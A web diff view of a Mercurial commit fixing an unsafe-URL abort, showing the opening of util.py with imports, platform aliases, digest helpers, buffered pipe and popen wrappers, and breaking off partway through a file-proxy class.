##// END OF EJS Templates
util: fix unsafe url abort with bytestr() on url...
Augie Fackler -
r36742:ca201470 default
parent child Browse files
Show More
@@ -1,4066 +1,4066 b''
1 # util.py - Mercurial utility functions and platform specific implementations
1 # util.py - Mercurial utility functions and platform specific implementations
2 #
2 #
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 #
6 #
7 # This software may be used and distributed according to the terms of the
7 # This software may be used and distributed according to the terms of the
8 # GNU General Public License version 2 or any later version.
8 # GNU General Public License version 2 or any later version.
9
9
10 """Mercurial utility functions and platform specific implementations.
10 """Mercurial utility functions and platform specific implementations.
11
11
12 This contains helper routines that are independent of the SCM core and
12 This contains helper routines that are independent of the SCM core and
13 hide platform-specific details from the core.
13 hide platform-specific details from the core.
14 """
14 """
15
15
16 from __future__ import absolute_import, print_function
16 from __future__ import absolute_import, print_function
17
17
18 import abc
18 import abc
19 import bz2
19 import bz2
20 import codecs
20 import codecs
21 import collections
21 import collections
22 import contextlib
22 import contextlib
23 import errno
23 import errno
24 import gc
24 import gc
25 import hashlib
25 import hashlib
26 import imp
26 import imp
27 import io
27 import io
28 import itertools
28 import itertools
29 import mmap
29 import mmap
30 import os
30 import os
31 import platform as pyplatform
31 import platform as pyplatform
32 import re as remod
32 import re as remod
33 import shutil
33 import shutil
34 import signal
34 import signal
35 import socket
35 import socket
36 import stat
36 import stat
37 import string
37 import string
38 import subprocess
38 import subprocess
39 import sys
39 import sys
40 import tempfile
40 import tempfile
41 import textwrap
41 import textwrap
42 import time
42 import time
43 import traceback
43 import traceback
44 import warnings
44 import warnings
45 import zlib
45 import zlib
46
46
47 from . import (
47 from . import (
48 encoding,
48 encoding,
49 error,
49 error,
50 i18n,
50 i18n,
51 node as nodemod,
51 node as nodemod,
52 policy,
52 policy,
53 pycompat,
53 pycompat,
54 urllibcompat,
54 urllibcompat,
55 )
55 )
56 from .utils import dateutil
56 from .utils import dateutil
57
57
58 base85 = policy.importmod(r'base85')
58 base85 = policy.importmod(r'base85')
59 osutil = policy.importmod(r'osutil')
59 osutil = policy.importmod(r'osutil')
60 parsers = policy.importmod(r'parsers')
60 parsers = policy.importmod(r'parsers')
61
61
62 b85decode = base85.b85decode
62 b85decode = base85.b85decode
63 b85encode = base85.b85encode
63 b85encode = base85.b85encode
64
64
65 cookielib = pycompat.cookielib
65 cookielib = pycompat.cookielib
66 empty = pycompat.empty
66 empty = pycompat.empty
67 httplib = pycompat.httplib
67 httplib = pycompat.httplib
68 pickle = pycompat.pickle
68 pickle = pycompat.pickle
69 queue = pycompat.queue
69 queue = pycompat.queue
70 socketserver = pycompat.socketserver
70 socketserver = pycompat.socketserver
71 stderr = pycompat.stderr
71 stderr = pycompat.stderr
72 stdin = pycompat.stdin
72 stdin = pycompat.stdin
73 stdout = pycompat.stdout
73 stdout = pycompat.stdout
74 stringio = pycompat.stringio
74 stringio = pycompat.stringio
75 xmlrpclib = pycompat.xmlrpclib
75 xmlrpclib = pycompat.xmlrpclib
76
76
77 httpserver = urllibcompat.httpserver
77 httpserver = urllibcompat.httpserver
78 urlerr = urllibcompat.urlerr
78 urlerr = urllibcompat.urlerr
79 urlreq = urllibcompat.urlreq
79 urlreq = urllibcompat.urlreq
80
80
81 # workaround for win32mbcs
81 # workaround for win32mbcs
82 _filenamebytestr = pycompat.bytestr
82 _filenamebytestr = pycompat.bytestr
83
83
84 def isatty(fp):
84 def isatty(fp):
85 try:
85 try:
86 return fp.isatty()
86 return fp.isatty()
87 except AttributeError:
87 except AttributeError:
88 return False
88 return False
89
89
90 # glibc determines buffering on first write to stdout - if we replace a TTY
90 # glibc determines buffering on first write to stdout - if we replace a TTY
91 # destined stdout with a pipe destined stdout (e.g. pager), we want line
91 # destined stdout with a pipe destined stdout (e.g. pager), we want line
92 # buffering
92 # buffering
93 if isatty(stdout):
93 if isatty(stdout):
94 stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1)
94 stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1)
95
95
96 if pycompat.iswindows:
96 if pycompat.iswindows:
97 from . import windows as platform
97 from . import windows as platform
98 stdout = platform.winstdout(stdout)
98 stdout = platform.winstdout(stdout)
99 else:
99 else:
100 from . import posix as platform
100 from . import posix as platform
101
101
102 _ = i18n._
102 _ = i18n._
103
103
104 bindunixsocket = platform.bindunixsocket
104 bindunixsocket = platform.bindunixsocket
105 cachestat = platform.cachestat
105 cachestat = platform.cachestat
106 checkexec = platform.checkexec
106 checkexec = platform.checkexec
107 checklink = platform.checklink
107 checklink = platform.checklink
108 copymode = platform.copymode
108 copymode = platform.copymode
109 executablepath = platform.executablepath
109 executablepath = platform.executablepath
110 expandglobs = platform.expandglobs
110 expandglobs = platform.expandglobs
111 explainexit = platform.explainexit
111 explainexit = platform.explainexit
112 findexe = platform.findexe
112 findexe = platform.findexe
113 getfsmountpoint = platform.getfsmountpoint
113 getfsmountpoint = platform.getfsmountpoint
114 getfstype = platform.getfstype
114 getfstype = platform.getfstype
115 gethgcmd = platform.gethgcmd
115 gethgcmd = platform.gethgcmd
116 getuser = platform.getuser
116 getuser = platform.getuser
117 getpid = os.getpid
117 getpid = os.getpid
118 groupmembers = platform.groupmembers
118 groupmembers = platform.groupmembers
119 groupname = platform.groupname
119 groupname = platform.groupname
120 hidewindow = platform.hidewindow
120 hidewindow = platform.hidewindow
121 isexec = platform.isexec
121 isexec = platform.isexec
122 isowner = platform.isowner
122 isowner = platform.isowner
123 listdir = osutil.listdir
123 listdir = osutil.listdir
124 localpath = platform.localpath
124 localpath = platform.localpath
125 lookupreg = platform.lookupreg
125 lookupreg = platform.lookupreg
126 makedir = platform.makedir
126 makedir = platform.makedir
127 nlinks = platform.nlinks
127 nlinks = platform.nlinks
128 normpath = platform.normpath
128 normpath = platform.normpath
129 normcase = platform.normcase
129 normcase = platform.normcase
130 normcasespec = platform.normcasespec
130 normcasespec = platform.normcasespec
131 normcasefallback = platform.normcasefallback
131 normcasefallback = platform.normcasefallback
132 openhardlinks = platform.openhardlinks
132 openhardlinks = platform.openhardlinks
133 oslink = platform.oslink
133 oslink = platform.oslink
134 parsepatchoutput = platform.parsepatchoutput
134 parsepatchoutput = platform.parsepatchoutput
135 pconvert = platform.pconvert
135 pconvert = platform.pconvert
136 poll = platform.poll
136 poll = platform.poll
137 popen = platform.popen
137 popen = platform.popen
138 posixfile = platform.posixfile
138 posixfile = platform.posixfile
139 quotecommand = platform.quotecommand
139 quotecommand = platform.quotecommand
140 readpipe = platform.readpipe
140 readpipe = platform.readpipe
141 rename = platform.rename
141 rename = platform.rename
142 removedirs = platform.removedirs
142 removedirs = platform.removedirs
143 samedevice = platform.samedevice
143 samedevice = platform.samedevice
144 samefile = platform.samefile
144 samefile = platform.samefile
145 samestat = platform.samestat
145 samestat = platform.samestat
146 setbinary = platform.setbinary
146 setbinary = platform.setbinary
147 setflags = platform.setflags
147 setflags = platform.setflags
148 setsignalhandler = platform.setsignalhandler
148 setsignalhandler = platform.setsignalhandler
149 shellquote = platform.shellquote
149 shellquote = platform.shellquote
150 shellsplit = platform.shellsplit
150 shellsplit = platform.shellsplit
151 spawndetached = platform.spawndetached
151 spawndetached = platform.spawndetached
152 split = platform.split
152 split = platform.split
153 sshargs = platform.sshargs
153 sshargs = platform.sshargs
154 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
154 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
155 statisexec = platform.statisexec
155 statisexec = platform.statisexec
156 statislink = platform.statislink
156 statislink = platform.statislink
157 testpid = platform.testpid
157 testpid = platform.testpid
158 umask = platform.umask
158 umask = platform.umask
159 unlink = platform.unlink
159 unlink = platform.unlink
160 username = platform.username
160 username = platform.username
161
161
162 try:
162 try:
163 recvfds = osutil.recvfds
163 recvfds = osutil.recvfds
164 except AttributeError:
164 except AttributeError:
165 pass
165 pass
166 try:
166 try:
167 setprocname = osutil.setprocname
167 setprocname = osutil.setprocname
168 except AttributeError:
168 except AttributeError:
169 pass
169 pass
170 try:
170 try:
171 unblocksignal = osutil.unblocksignal
171 unblocksignal = osutil.unblocksignal
172 except AttributeError:
172 except AttributeError:
173 pass
173 pass
174
174
175 # Python compatibility
175 # Python compatibility
176
176
177 _notset = object()
177 _notset = object()
178
178
179 # disable Python's problematic floating point timestamps (issue4836)
179 # disable Python's problematic floating point timestamps (issue4836)
180 # (Python hypocritically says you shouldn't change this behavior in
180 # (Python hypocritically says you shouldn't change this behavior in
181 # libraries, and sure enough Mercurial is not a library.)
181 # libraries, and sure enough Mercurial is not a library.)
182 os.stat_float_times(False)
182 os.stat_float_times(False)
183
183
184 def safehasattr(thing, attr):
184 def safehasattr(thing, attr):
185 return getattr(thing, attr, _notset) is not _notset
185 return getattr(thing, attr, _notset) is not _notset
186
186
187 def _rapply(f, xs):
187 def _rapply(f, xs):
188 if xs is None:
188 if xs is None:
189 # assume None means non-value of optional data
189 # assume None means non-value of optional data
190 return xs
190 return xs
191 if isinstance(xs, (list, set, tuple)):
191 if isinstance(xs, (list, set, tuple)):
192 return type(xs)(_rapply(f, x) for x in xs)
192 return type(xs)(_rapply(f, x) for x in xs)
193 if isinstance(xs, dict):
193 if isinstance(xs, dict):
194 return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items())
194 return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items())
195 return f(xs)
195 return f(xs)
196
196
197 def rapply(f, xs):
197 def rapply(f, xs):
198 """Apply function recursively to every item preserving the data structure
198 """Apply function recursively to every item preserving the data structure
199
199
200 >>> def f(x):
200 >>> def f(x):
201 ... return 'f(%s)' % x
201 ... return 'f(%s)' % x
202 >>> rapply(f, None) is None
202 >>> rapply(f, None) is None
203 True
203 True
204 >>> rapply(f, 'a')
204 >>> rapply(f, 'a')
205 'f(a)'
205 'f(a)'
206 >>> rapply(f, {'a'}) == {'f(a)'}
206 >>> rapply(f, {'a'}) == {'f(a)'}
207 True
207 True
208 >>> rapply(f, ['a', 'b', None, {'c': 'd'}, []])
208 >>> rapply(f, ['a', 'b', None, {'c': 'd'}, []])
209 ['f(a)', 'f(b)', None, {'f(c)': 'f(d)'}, []]
209 ['f(a)', 'f(b)', None, {'f(c)': 'f(d)'}, []]
210
210
211 >>> xs = [object()]
211 >>> xs = [object()]
212 >>> rapply(pycompat.identity, xs) is xs
212 >>> rapply(pycompat.identity, xs) is xs
213 True
213 True
214 """
214 """
215 if f is pycompat.identity:
215 if f is pycompat.identity:
216 # fast path mainly for py2
216 # fast path mainly for py2
217 return xs
217 return xs
218 return _rapply(f, xs)
218 return _rapply(f, xs)
219
219
220 def bytesinput(fin, fout, *args, **kwargs):
220 def bytesinput(fin, fout, *args, **kwargs):
221 sin, sout = sys.stdin, sys.stdout
221 sin, sout = sys.stdin, sys.stdout
222 try:
222 try:
223 sys.stdin, sys.stdout = encoding.strio(fin), encoding.strio(fout)
223 sys.stdin, sys.stdout = encoding.strio(fin), encoding.strio(fout)
224 return encoding.strtolocal(pycompat.rawinput(*args, **kwargs))
224 return encoding.strtolocal(pycompat.rawinput(*args, **kwargs))
225 finally:
225 finally:
226 sys.stdin, sys.stdout = sin, sout
226 sys.stdin, sys.stdout = sin, sout
227
227
228 def bitsfrom(container):
228 def bitsfrom(container):
229 bits = 0
229 bits = 0
230 for bit in container:
230 for bit in container:
231 bits |= bit
231 bits |= bit
232 return bits
232 return bits
233
233
234 # python 2.6 still have deprecation warning enabled by default. We do not want
234 # python 2.6 still have deprecation warning enabled by default. We do not want
235 # to display anything to standard user so detect if we are running test and
235 # to display anything to standard user so detect if we are running test and
236 # only use python deprecation warning in this case.
236 # only use python deprecation warning in this case.
237 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
237 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
238 if _dowarn:
238 if _dowarn:
239 # explicitly unfilter our warning for python 2.7
239 # explicitly unfilter our warning for python 2.7
240 #
240 #
241 # The option of setting PYTHONWARNINGS in the test runner was investigated.
241 # The option of setting PYTHONWARNINGS in the test runner was investigated.
242 # However, module name set through PYTHONWARNINGS was exactly matched, so
242 # However, module name set through PYTHONWARNINGS was exactly matched, so
243 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
243 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
244 # makes the whole PYTHONWARNINGS thing useless for our usecase.
244 # makes the whole PYTHONWARNINGS thing useless for our usecase.
245 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
245 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
246 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
246 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
247 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
247 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
248 if _dowarn and pycompat.ispy3:
248 if _dowarn and pycompat.ispy3:
249 # silence warning emitted by passing user string to re.sub()
249 # silence warning emitted by passing user string to re.sub()
250 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
250 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
251 r'mercurial')
251 r'mercurial')
252 warnings.filterwarnings(r'ignore', r'invalid escape sequence',
252 warnings.filterwarnings(r'ignore', r'invalid escape sequence',
253 DeprecationWarning, r'mercurial')
253 DeprecationWarning, r'mercurial')
254
254
255 def nouideprecwarn(msg, version, stacklevel=1):
255 def nouideprecwarn(msg, version, stacklevel=1):
256 """Issue an python native deprecation warning
256 """Issue an python native deprecation warning
257
257
258 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
258 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
259 """
259 """
260 if _dowarn:
260 if _dowarn:
261 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
261 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
262 " update your code.)") % version
262 " update your code.)") % version
263 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
263 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
264
264
265 DIGESTS = {
265 DIGESTS = {
266 'md5': hashlib.md5,
266 'md5': hashlib.md5,
267 'sha1': hashlib.sha1,
267 'sha1': hashlib.sha1,
268 'sha512': hashlib.sha512,
268 'sha512': hashlib.sha512,
269 }
269 }
270 # List of digest types from strongest to weakest
270 # List of digest types from strongest to weakest
271 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
271 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
272
272
273 for k in DIGESTS_BY_STRENGTH:
273 for k in DIGESTS_BY_STRENGTH:
274 assert k in DIGESTS
274 assert k in DIGESTS
275
275
276 class digester(object):
276 class digester(object):
277 """helper to compute digests.
277 """helper to compute digests.
278
278
279 This helper can be used to compute one or more digests given their name.
279 This helper can be used to compute one or more digests given their name.
280
280
281 >>> d = digester([b'md5', b'sha1'])
281 >>> d = digester([b'md5', b'sha1'])
282 >>> d.update(b'foo')
282 >>> d.update(b'foo')
283 >>> [k for k in sorted(d)]
283 >>> [k for k in sorted(d)]
284 ['md5', 'sha1']
284 ['md5', 'sha1']
285 >>> d[b'md5']
285 >>> d[b'md5']
286 'acbd18db4cc2f85cedef654fccc4a4d8'
286 'acbd18db4cc2f85cedef654fccc4a4d8'
287 >>> d[b'sha1']
287 >>> d[b'sha1']
288 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
288 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
289 >>> digester.preferred([b'md5', b'sha1'])
289 >>> digester.preferred([b'md5', b'sha1'])
290 'sha1'
290 'sha1'
291 """
291 """
292
292
293 def __init__(self, digests, s=''):
293 def __init__(self, digests, s=''):
294 self._hashes = {}
294 self._hashes = {}
295 for k in digests:
295 for k in digests:
296 if k not in DIGESTS:
296 if k not in DIGESTS:
297 raise Abort(_('unknown digest type: %s') % k)
297 raise Abort(_('unknown digest type: %s') % k)
298 self._hashes[k] = DIGESTS[k]()
298 self._hashes[k] = DIGESTS[k]()
299 if s:
299 if s:
300 self.update(s)
300 self.update(s)
301
301
302 def update(self, data):
302 def update(self, data):
303 for h in self._hashes.values():
303 for h in self._hashes.values():
304 h.update(data)
304 h.update(data)
305
305
306 def __getitem__(self, key):
306 def __getitem__(self, key):
307 if key not in DIGESTS:
307 if key not in DIGESTS:
308 raise Abort(_('unknown digest type: %s') % k)
308 raise Abort(_('unknown digest type: %s') % k)
309 return nodemod.hex(self._hashes[key].digest())
309 return nodemod.hex(self._hashes[key].digest())
310
310
311 def __iter__(self):
311 def __iter__(self):
312 return iter(self._hashes)
312 return iter(self._hashes)
313
313
314 @staticmethod
314 @staticmethod
315 def preferred(supported):
315 def preferred(supported):
316 """returns the strongest digest type in both supported and DIGESTS."""
316 """returns the strongest digest type in both supported and DIGESTS."""
317
317
318 for k in DIGESTS_BY_STRENGTH:
318 for k in DIGESTS_BY_STRENGTH:
319 if k in supported:
319 if k in supported:
320 return k
320 return k
321 return None
321 return None
322
322
323 class digestchecker(object):
323 class digestchecker(object):
324 """file handle wrapper that additionally checks content against a given
324 """file handle wrapper that additionally checks content against a given
325 size and digests.
325 size and digests.
326
326
327 d = digestchecker(fh, size, {'md5': '...'})
327 d = digestchecker(fh, size, {'md5': '...'})
328
328
329 When multiple digests are given, all of them are validated.
329 When multiple digests are given, all of them are validated.
330 """
330 """
331
331
332 def __init__(self, fh, size, digests):
332 def __init__(self, fh, size, digests):
333 self._fh = fh
333 self._fh = fh
334 self._size = size
334 self._size = size
335 self._got = 0
335 self._got = 0
336 self._digests = dict(digests)
336 self._digests = dict(digests)
337 self._digester = digester(self._digests.keys())
337 self._digester = digester(self._digests.keys())
338
338
339 def read(self, length=-1):
339 def read(self, length=-1):
340 content = self._fh.read(length)
340 content = self._fh.read(length)
341 self._digester.update(content)
341 self._digester.update(content)
342 self._got += len(content)
342 self._got += len(content)
343 return content
343 return content
344
344
345 def validate(self):
345 def validate(self):
346 if self._size != self._got:
346 if self._size != self._got:
347 raise Abort(_('size mismatch: expected %d, got %d') %
347 raise Abort(_('size mismatch: expected %d, got %d') %
348 (self._size, self._got))
348 (self._size, self._got))
349 for k, v in self._digests.items():
349 for k, v in self._digests.items():
350 if v != self._digester[k]:
350 if v != self._digester[k]:
351 # i18n: first parameter is a digest name
351 # i18n: first parameter is a digest name
352 raise Abort(_('%s mismatch: expected %s, got %s') %
352 raise Abort(_('%s mismatch: expected %s, got %s') %
353 (k, v, self._digester[k]))
353 (k, v, self._digester[k]))
354
354
355 try:
355 try:
356 buffer = buffer
356 buffer = buffer
357 except NameError:
357 except NameError:
358 def buffer(sliceable, offset=0, length=None):
358 def buffer(sliceable, offset=0, length=None):
359 if length is not None:
359 if length is not None:
360 return memoryview(sliceable)[offset:offset + length]
360 return memoryview(sliceable)[offset:offset + length]
361 return memoryview(sliceable)[offset:]
361 return memoryview(sliceable)[offset:]
362
362
363 closefds = pycompat.isposix
363 closefds = pycompat.isposix
364
364
365 _chunksize = 4096
365 _chunksize = 4096
366
366
367 class bufferedinputpipe(object):
367 class bufferedinputpipe(object):
368 """a manually buffered input pipe
368 """a manually buffered input pipe
369
369
370 Python will not let us use buffered IO and lazy reading with 'polling' at
370 Python will not let us use buffered IO and lazy reading with 'polling' at
371 the same time. We cannot probe the buffer state and select will not detect
371 the same time. We cannot probe the buffer state and select will not detect
372 that data are ready to read if they are already buffered.
372 that data are ready to read if they are already buffered.
373
373
374 This class let us work around that by implementing its own buffering
374 This class let us work around that by implementing its own buffering
375 (allowing efficient readline) while offering a way to know if the buffer is
375 (allowing efficient readline) while offering a way to know if the buffer is
376 empty from the output (allowing collaboration of the buffer with polling).
376 empty from the output (allowing collaboration of the buffer with polling).
377
377
378 This class lives in the 'util' module because it makes use of the 'os'
378 This class lives in the 'util' module because it makes use of the 'os'
379 module from the python stdlib.
379 module from the python stdlib.
380 """
380 """
381 def __new__(cls, fh):
381 def __new__(cls, fh):
382 # If we receive a fileobjectproxy, we need to use a variation of this
382 # If we receive a fileobjectproxy, we need to use a variation of this
383 # class that notifies observers about activity.
383 # class that notifies observers about activity.
384 if isinstance(fh, fileobjectproxy):
384 if isinstance(fh, fileobjectproxy):
385 cls = observedbufferedinputpipe
385 cls = observedbufferedinputpipe
386
386
387 return super(bufferedinputpipe, cls).__new__(cls)
387 return super(bufferedinputpipe, cls).__new__(cls)
388
388
389 def __init__(self, input):
389 def __init__(self, input):
390 self._input = input
390 self._input = input
391 self._buffer = []
391 self._buffer = []
392 self._eof = False
392 self._eof = False
393 self._lenbuf = 0
393 self._lenbuf = 0
394
394
395 @property
395 @property
396 def hasbuffer(self):
396 def hasbuffer(self):
397 """True is any data is currently buffered
397 """True is any data is currently buffered
398
398
399 This will be used externally a pre-step for polling IO. If there is
399 This will be used externally a pre-step for polling IO. If there is
400 already data then no polling should be set in place."""
400 already data then no polling should be set in place."""
401 return bool(self._buffer)
401 return bool(self._buffer)
402
402
403 @property
403 @property
404 def closed(self):
404 def closed(self):
405 return self._input.closed
405 return self._input.closed
406
406
407 def fileno(self):
407 def fileno(self):
408 return self._input.fileno()
408 return self._input.fileno()
409
409
410 def close(self):
410 def close(self):
411 return self._input.close()
411 return self._input.close()
412
412
413 def read(self, size):
413 def read(self, size):
414 while (not self._eof) and (self._lenbuf < size):
414 while (not self._eof) and (self._lenbuf < size):
415 self._fillbuffer()
415 self._fillbuffer()
416 return self._frombuffer(size)
416 return self._frombuffer(size)
417
417
418 def readline(self, *args, **kwargs):
418 def readline(self, *args, **kwargs):
419 if 1 < len(self._buffer):
419 if 1 < len(self._buffer):
420 # this should not happen because both read and readline end with a
420 # this should not happen because both read and readline end with a
421 # _frombuffer call that collapse it.
421 # _frombuffer call that collapse it.
422 self._buffer = [''.join(self._buffer)]
422 self._buffer = [''.join(self._buffer)]
423 self._lenbuf = len(self._buffer[0])
423 self._lenbuf = len(self._buffer[0])
424 lfi = -1
424 lfi = -1
425 if self._buffer:
425 if self._buffer:
426 lfi = self._buffer[-1].find('\n')
426 lfi = self._buffer[-1].find('\n')
427 while (not self._eof) and lfi < 0:
427 while (not self._eof) and lfi < 0:
428 self._fillbuffer()
428 self._fillbuffer()
429 if self._buffer:
429 if self._buffer:
430 lfi = self._buffer[-1].find('\n')
430 lfi = self._buffer[-1].find('\n')
431 size = lfi + 1
431 size = lfi + 1
432 if lfi < 0: # end of file
432 if lfi < 0: # end of file
433 size = self._lenbuf
433 size = self._lenbuf
434 elif 1 < len(self._buffer):
434 elif 1 < len(self._buffer):
435 # we need to take previous chunks into account
435 # we need to take previous chunks into account
436 size += self._lenbuf - len(self._buffer[-1])
436 size += self._lenbuf - len(self._buffer[-1])
437 return self._frombuffer(size)
437 return self._frombuffer(size)
438
438
439 def _frombuffer(self, size):
439 def _frombuffer(self, size):
440 """return at most 'size' data from the buffer
440 """return at most 'size' data from the buffer
441
441
442 The data are removed from the buffer."""
442 The data are removed from the buffer."""
443 if size == 0 or not self._buffer:
443 if size == 0 or not self._buffer:
444 return ''
444 return ''
445 buf = self._buffer[0]
445 buf = self._buffer[0]
446 if 1 < len(self._buffer):
446 if 1 < len(self._buffer):
447 buf = ''.join(self._buffer)
447 buf = ''.join(self._buffer)
448
448
449 data = buf[:size]
449 data = buf[:size]
450 buf = buf[len(data):]
450 buf = buf[len(data):]
451 if buf:
451 if buf:
452 self._buffer = [buf]
452 self._buffer = [buf]
453 self._lenbuf = len(buf)
453 self._lenbuf = len(buf)
454 else:
454 else:
455 self._buffer = []
455 self._buffer = []
456 self._lenbuf = 0
456 self._lenbuf = 0
457 return data
457 return data
458
458
459 def _fillbuffer(self):
459 def _fillbuffer(self):
460 """read data to the buffer"""
460 """read data to the buffer"""
461 data = os.read(self._input.fileno(), _chunksize)
461 data = os.read(self._input.fileno(), _chunksize)
462 if not data:
462 if not data:
463 self._eof = True
463 self._eof = True
464 else:
464 else:
465 self._lenbuf += len(data)
465 self._lenbuf += len(data)
466 self._buffer.append(data)
466 self._buffer.append(data)
467
467
468 return data
468 return data
469
469
470 def mmapread(fp):
470 def mmapread(fp):
471 try:
471 try:
472 fd = getattr(fp, 'fileno', lambda: fp)()
472 fd = getattr(fp, 'fileno', lambda: fp)()
473 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
473 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
474 except ValueError:
474 except ValueError:
475 # Empty files cannot be mmapped, but mmapread should still work. Check
475 # Empty files cannot be mmapped, but mmapread should still work. Check
476 # if the file is empty, and if so, return an empty buffer.
476 # if the file is empty, and if so, return an empty buffer.
477 if os.fstat(fd).st_size == 0:
477 if os.fstat(fd).st_size == 0:
478 return ''
478 return ''
479 raise
479 raise
480
480
481 def popen2(cmd, env=None, newlines=False):
481 def popen2(cmd, env=None, newlines=False):
482 # Setting bufsize to -1 lets the system decide the buffer size.
482 # Setting bufsize to -1 lets the system decide the buffer size.
483 # The default for bufsize is 0, meaning unbuffered. This leads to
483 # The default for bufsize is 0, meaning unbuffered. This leads to
484 # poor performance on Mac OS X: http://bugs.python.org/issue4194
484 # poor performance on Mac OS X: http://bugs.python.org/issue4194
485 p = subprocess.Popen(cmd, shell=True, bufsize=-1,
485 p = subprocess.Popen(cmd, shell=True, bufsize=-1,
486 close_fds=closefds,
486 close_fds=closefds,
487 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
487 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
488 universal_newlines=newlines,
488 universal_newlines=newlines,
489 env=env)
489 env=env)
490 return p.stdin, p.stdout
490 return p.stdin, p.stdout
491
491
492 def popen3(cmd, env=None, newlines=False):
492 def popen3(cmd, env=None, newlines=False):
493 stdin, stdout, stderr, p = popen4(cmd, env, newlines)
493 stdin, stdout, stderr, p = popen4(cmd, env, newlines)
494 return stdin, stdout, stderr
494 return stdin, stdout, stderr
495
495
496 def popen4(cmd, env=None, newlines=False, bufsize=-1):
496 def popen4(cmd, env=None, newlines=False, bufsize=-1):
497 p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
497 p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
498 close_fds=closefds,
498 close_fds=closefds,
499 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
499 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
500 stderr=subprocess.PIPE,
500 stderr=subprocess.PIPE,
501 universal_newlines=newlines,
501 universal_newlines=newlines,
502 env=env)
502 env=env)
503 return p.stdin, p.stdout, p.stderr, p
503 return p.stdin, p.stdout, p.stderr, p
504
504
505 class fileobjectproxy(object):
505 class fileobjectproxy(object):
506 """A proxy around file objects that tells a watcher when events occur.
506 """A proxy around file objects that tells a watcher when events occur.
507
507
508 This type is intended to only be used for testing purposes. Think hard
508 This type is intended to only be used for testing purposes. Think hard
509 before using it in important code.
509 before using it in important code.
510 """
510 """
511 __slots__ = (
511 __slots__ = (
512 r'_orig',
512 r'_orig',
513 r'_observer',
513 r'_observer',
514 )
514 )
515
515
516 def __init__(self, fh, observer):
516 def __init__(self, fh, observer):
517 object.__setattr__(self, r'_orig', fh)
517 object.__setattr__(self, r'_orig', fh)
518 object.__setattr__(self, r'_observer', observer)
518 object.__setattr__(self, r'_observer', observer)
519
519
520 def __getattribute__(self, name):
520 def __getattribute__(self, name):
521 ours = {
521 ours = {
522 r'_observer',
522 r'_observer',
523
523
524 # IOBase
524 # IOBase
525 r'close',
525 r'close',
526 # closed if a property
526 # closed if a property
527 r'fileno',
527 r'fileno',
528 r'flush',
528 r'flush',
529 r'isatty',
529 r'isatty',
530 r'readable',
530 r'readable',
531 r'readline',
531 r'readline',
532 r'readlines',
532 r'readlines',
533 r'seek',
533 r'seek',
534 r'seekable',
534 r'seekable',
535 r'tell',
535 r'tell',
536 r'truncate',
536 r'truncate',
537 r'writable',
537 r'writable',
538 r'writelines',
538 r'writelines',
539 # RawIOBase
539 # RawIOBase
540 r'read',
540 r'read',
541 r'readall',
541 r'readall',
542 r'readinto',
542 r'readinto',
543 r'write',
543 r'write',
544 # BufferedIOBase
544 # BufferedIOBase
545 # raw is a property
545 # raw is a property
546 r'detach',
546 r'detach',
547 # read defined above
547 # read defined above
548 r'read1',
548 r'read1',
549 # readinto defined above
549 # readinto defined above
550 # write defined above
550 # write defined above
551 }
551 }
552
552
553 # We only observe some methods.
553 # We only observe some methods.
554 if name in ours:
554 if name in ours:
555 return object.__getattribute__(self, name)
555 return object.__getattribute__(self, name)
556
556
557 return getattr(object.__getattribute__(self, r'_orig'), name)
557 return getattr(object.__getattribute__(self, r'_orig'), name)
558
558
559 def __delattr__(self, name):
559 def __delattr__(self, name):
560 return delattr(object.__getattribute__(self, r'_orig'), name)
560 return delattr(object.__getattribute__(self, r'_orig'), name)
561
561
562 def __setattr__(self, name, value):
562 def __setattr__(self, name, value):
563 return setattr(object.__getattribute__(self, r'_orig'), name, value)
563 return setattr(object.__getattribute__(self, r'_orig'), name, value)
564
564
565 def __iter__(self):
565 def __iter__(self):
566 return object.__getattribute__(self, r'_orig').__iter__()
566 return object.__getattribute__(self, r'_orig').__iter__()
567
567
568 def _observedcall(self, name, *args, **kwargs):
568 def _observedcall(self, name, *args, **kwargs):
569 # Call the original object.
569 # Call the original object.
570 orig = object.__getattribute__(self, r'_orig')
